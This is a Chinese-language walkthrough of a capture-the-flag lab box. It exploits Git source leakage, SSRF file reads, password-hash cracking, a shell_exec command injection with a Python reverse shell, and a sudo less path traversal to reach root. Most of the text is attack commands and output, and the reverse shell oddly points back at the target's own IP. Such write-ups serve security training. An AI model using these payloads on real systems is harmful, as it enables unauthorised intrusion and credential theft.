Target-A
Target-A

Target-A

✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨

——信息收集——

网段扫描

nmap -sP 192.168.110.0/24

目录扫描

gobuster dir -u http://192.168.110.105 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,env,htaccess,bak,zip -t 50

gobuster dir (目录扫描模式)

-u http://192.168.110.105 (扫描目标:这个 IP 的网站)

-w /usr/share/wordlists/dirb/common.txt (用 Kali 自带的常用目录字典)

⚡里面有 admin、login、.git、.env、backup 等几千个常见路径

-x php,html,txt,env,htaccess,bak,zip (同时扫描这些后缀的文件)

dirb http://192.168.110.105 (猜解网站的隐藏路径)

找出后台、配置文件、备份文件、源码泄露等敏感资源

http://192.168.110.105/.git/HEAD

  • .git/HEAD 是 Git 仓库的核心文件,记录当前分支指针
  • 能访问到这个文件,说明:
    • 网站根目录下的 .git 文件夹没有被删除
    • 攻击者可以通过这个泄露,下载完整的网站源码、提交记录、配置文件
    • 这就是典型的 Git 源码泄露漏洞


🔗 pipx run git-dumper http://192.168.110.105 ./output_dir
把目标网站泄露的 .git 文件夹,完整下载!

cat .env (查看下载下来的网站配置文件)

🎠获得数据库账户密码利用 file:// 协议读取文件

file://etc/passwd
file:///var/www/html/api/.htaccess

发现信息👇

SSRF 功能只要注册即可使用

发现 /var/www/html/api/.htpasswd 文件

配置:admin_panel 文件无需认证即可登录

读取敏感文件 file:///var/www/html/api/.htpasswd

获取账号密码哈希 zhangwei:$apr1$MJ6F/hkG$zt.9zwxKbvp1fMTi6roNn0

密码爆破 (将哈希保存到文件)

echo 'zhangwei:$apr1$MJ6F/hkG$zt.9zwxKbvp1fMTi6roNn0' > hash.txt

使用 John the Ripper 爆破密码

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

3. 爆破结果

密码:trustno1

🦄进一步信息收集

访问后台面板:

访问后台面板:http://192.168.110.105/api/admin_panel

F12 查看源码,获取另一串 MD5 哈希:9f9d51bc70ef21ca5c14f307980a29d8

同时在源码中发现 RCE 注入点:$output = shell_exec($_GET['exec']);

登录验证与漏洞利用

http://192.168.110.105/api/loader.php

输入之前爆破得到的账号密码进行登录:

  • 账号:zhangwei
  • 密码:trustno1

登录成功后,利用文件包含漏洞 + RCE 构造 Payload

module=admin_panel&token=bob&exec=id 成功返回系统 id 信息

反弹 Shell 与获取Flag (构造 Python3 反弹 Shell Payload)

module=admin_panel&token=bob&exec=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.110.105",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Kali 在开一个新终端监听:nc -lvp 4444

接收反弹 Shell,获取目标服务器权限并读取 Flag

获取 Flag 1

1 查找所有与 Flag 相关文件

find / -iname "*flag*" 2>/dev/null

2 读取 Flag1(当前用户为 www-data,可直接访问)

cat /var/www/flag1.txt

得到 Flag1:flag1{a3f5c8d2e91b4076bc8d5e7f21a94c3b}

3 定位其他 Flag 路径

  • Flag2 路径:/home/liwei/flag2.txt
  • Flag3 路径:/flag3.txt(需 root 权限访问)

可以通过提权、切换用户等操作,读取对应路径下的 Flag2 和 Flag3

获取 Flag 2

2.1 切换liwei用户需输入密码,从.env文件获取的数据库敏感信息,通过查询数据库获取密码。

数据库登录与查询

利用.env文件中获取的数据库账号密码,尝试登录MySQL数据库:

mysql -u root -p'R#xK9mWz$2pLnQ7v'

发现当前Shell不支持MySQL交互模式,因此切换为命令行直接输入查询指令的方式,逐步排查数据库信息:

# 查看所有数据库
mysql -u root -p'R#xK9mWz$2pLnQ7v' -e "show databases;"
# 进入目标数据库并查看所有表
mysql -u root -p'R#xK9mWz$2pLnQ7v' -e "use abyss_platform; show tables;"
# 查询用户表信息,获取密码相关线索
mysql -u root -p'R#xK9mWz$2pLnQ7v' -e "use abyss_platform; select * from users;"

查询用户表时发现时间戳相关字段,推测该时间戳与密码加密有关,因此查看网站index.php文件,确认密码加密:cat index.php

确认加密方式:以时间戳作为盐值,对密码进行MD5加盐加密,加密格式为 md5($password . $ts)。

2.2 密码爆破

结合获取到的密码哈希、时间戳,使用hashcat工具结合rockyou.txt字典进行爆破(提前解压字典)

hashcat -m 10 d450a27a0caf3b9dcc7f03e4c492f7ac:1742900000 /usr/share/wordlists/rockyou.txt获得密码:dragon

切换用户并获取Flag2

2.3 该密码为admin账号密码,可能是管理员复用密码,尝试使用该密码切换至liwei用户:

# 切换至liwei用户
su liwei
# 输入密码:dragon
# 查看liwei家目录下的Flag2
cat /home/liwei/flag2.txtflag2{7d2e4b8c1f6a39d5e0c7b2f84a16d9e3}

获取 Flag 3

1 su liwei 登入到liwei用户

查看身份 id 显示出liwei

并确认当前身份 whoami 因为能显示当前用户的 UID GID 以及所属的用户组

查看sudo权限 liwei用户可执行的sudo命令及权限:sudo -l 才能判断是否具备执行 sudo 的权限 如果id属于sudo组,说明了liwei用户具备使用sudo的基本条件,所以先确认身份。

2 通过sudo 查看列表

sudi -l

查询结果显示,liwei用户拥有NOPASSWD权限,可无密码执行指定命令:(ALL) NOPASSWD: /usr/bin/less /var/log/abyss/*

3 利用sudo权限提权,读取根目录下的flag3.txt文件

Flag3位于根目录下,需获取root权限方可读取。当前已切换至liwei用户,因此首先查看该用户的sudo权限,以此寻找提权突破口。

.(一个点):代表当前目录

..(两个点):代表上一级目录 var

/../../../ : 根目录

sudo /usr/bin/less /var/log/abyss/../../../flag3.txt
flag3{b9c1d4e7f2a85036e1d8c3b6f4a27d5e}

✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨✨

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注